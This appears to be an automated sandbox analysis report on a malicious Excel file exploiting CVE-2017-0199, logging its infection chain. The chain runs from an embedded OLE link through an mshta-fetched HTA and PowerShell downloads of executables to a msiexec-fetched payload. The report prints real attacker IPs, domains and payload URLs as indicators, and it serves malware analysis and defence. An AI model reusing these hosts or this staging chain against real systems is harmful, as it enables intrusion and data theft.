Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_000007FE899A4B18 URLDownloadToFileW, 5_2_000007FE899A4B18
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B39DCB1F.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&friction=reminiscent&stumbling=needless&vertigo HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&friction=reminiscent&stumbling=needless&vertigo HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /pkeZmGiUuTK20.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.bookinginfo.asiaCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.113.214Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 107.175.113.214If-Range: "20c63-62581d920ba93"
Source: global traffic HTTP traffic detected: GET /902/walnext.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.113.214Connection: Keep-Alive
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: qrisni.me
Source: global traffic DNS traffic detected: DNS query: www.bookinginfo.asia
Source: mshta.exe, 00000004.00000002.424201847.000000000371E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.000000000371E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.000000000371E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/
Source: powershell.exe, 00000005.00000002.444388800.0000000003546000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/902/walne
Source: powershell.exe, 00000005.00000002.444388800.0000000003546000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/902/walnext.exe
Source: powershell.exe, 00000005.00000002.452781154.000000001A64D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/902/walnext.exe9
Source: powershell.exe, 00000005.00000002.452781154.000000001A64D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/902/walnext.exed-
Source: powershell.exe, 00000005.00000002.444388800.0000000003546000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/902/walnext.exep
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.000000000371E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414660561.000000000297D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424194140.00000000036CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.000000000371E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.000000000371E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414676403.000000000297E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta
Source: mshta.exe, 00000004.00000003.412834526.0000000000586000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta&fric3
Source: mshta.exe, 00000004.00000003.412834526.0000000000586000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta...ictio
Source: mshta.exe, 00000004.00000003.414513596.0000000002975000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417771297.0000000002975000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.htahttp://1
Source: mshta.exe, 00000004.00000002.424194140.00000000036CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://107.175.113.214/xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.htapt-C:
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000005.00000002.444388800.000000000327C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: wlanext.exe, wlanext.exe, 0000000B.00000002.448989993.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, wlanext.exe, 0000000B.00000000.437723314.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, wlanext.exe.5.dr, walnext[1].exe.5.dr, wlanext.exe.12.dr String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: wlanext.exe, 0000000B.00000002.448989993.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, wlanext.exe, 0000000B.00000000.437723314.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, wlanext.exe.5.dr, walnext[1].exe.5.dr, wlanext.exe.12.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000005.00000002.444388800.000000000220C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.452302002.0000000012031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.444388800.0000000002001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000005.00000002.452302002.0000000012031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.452302002.0000000012031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.452302002.0000000012031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.444388800.000000000220C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.452302002.0000000012031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424187501.00000000036C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://qrisni.me/
Source: mshta.exe, 00000004.00000002.424187501.00000000036C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://qrisni.me/L
Source: mshta.exe, 00000004.00000003.412834526.0000000000586000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx, C0230000.0.dr String found in binary or memory: https://qrisni.me/L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&fricti
Source: mshta.exe, 00000004.00000002.424201847.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418833365.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419032600.00000000036D6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414586612.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.424201847.00000000036D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/
Source: msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/9
Source: msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000011.00000002.626563594.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.bin
Source: msiexec.exe, 00000011.00000002.626606558.0000000006130000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bookinginfo.asia/pkeZmGiUuTK20.binr
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.217.106.226:443 -> 192.168.2.22:49168 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_00405205 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 11_2_00405205
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary
barindex
Excel sheet contains many unusual embedded objects
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx OLE: Microsoft Excel 2007+
Source: C0230000.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\niceworkingthingswithgreatthingsevengetbackwithgoodnews[1].hta Jump to behavior
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Stofnd\wlanext.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\walnext[1].exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\wlanext.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\wlanext.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_0040320C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040320C
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_00404A44 11_2_00404A44
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_00406F54 11_2_00406F54
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_0040677D 11_2_0040677D
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_0671E470 17_2_0671E470
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_06714520 17_2_06714520
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_06713908 17_2_06713908
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_06713C50 17_2_06713C50
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_06713C45 17_2_06713C45
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_06717DE0 17_2_06717DE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_0671B060 17_2_0671B060
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_21704998 17_2_21704998
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_21707B20 17_2_21707B20
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_21705900 17_2_21705900
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_217009D0 17_2_217009D0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_21708291 17_2_21708291
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_0671B410 17_2_0671B410
Document contains embedded VBA macros
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx OLE indicator, VBA macros: true
Document embeds suspicious OLE2 link
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx Stream path 'MBD0079EECC/\x1Ole' : https://qrisni.me/L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&friction=reminiscent&stumbling=needless&vertigofrY;C<v-nk<-oYb7G4qPrnV7omzvXXB6AxQOq0AZAgAAsdcTTayM5DNIGRwJqiE2bCCduzyXAu4GrNBtUvim3sNoLGX8ZDKNLgDwd27aldRGX1hUGZqsQievypHYUlRmTa1Qt1d6Jn3i&s,+A?kBa>
Source: C0230000.0.dr Stream path 'MBD0079EECC/\x1Ole' : https://qrisni.me/L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&friction=reminiscent&stumbling=needless&vertigofrY;C<v-nk<-oYb7G4qPrnV7omzvXXB6AxQOq0AZAgAAsdcTTayM5DNIGRwJqiE2bCCduzyXAu4GrNBtUvim3sNoLGX8ZDKNLgDwd27aldRGX1hUGZqsQievypHYUlRmTa1Qt1d6Jn3i&s,+A?kBa>
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: classification engine Classification label: mal100.phis.spyw.expl.evad.winXLSX@16/31@5/3
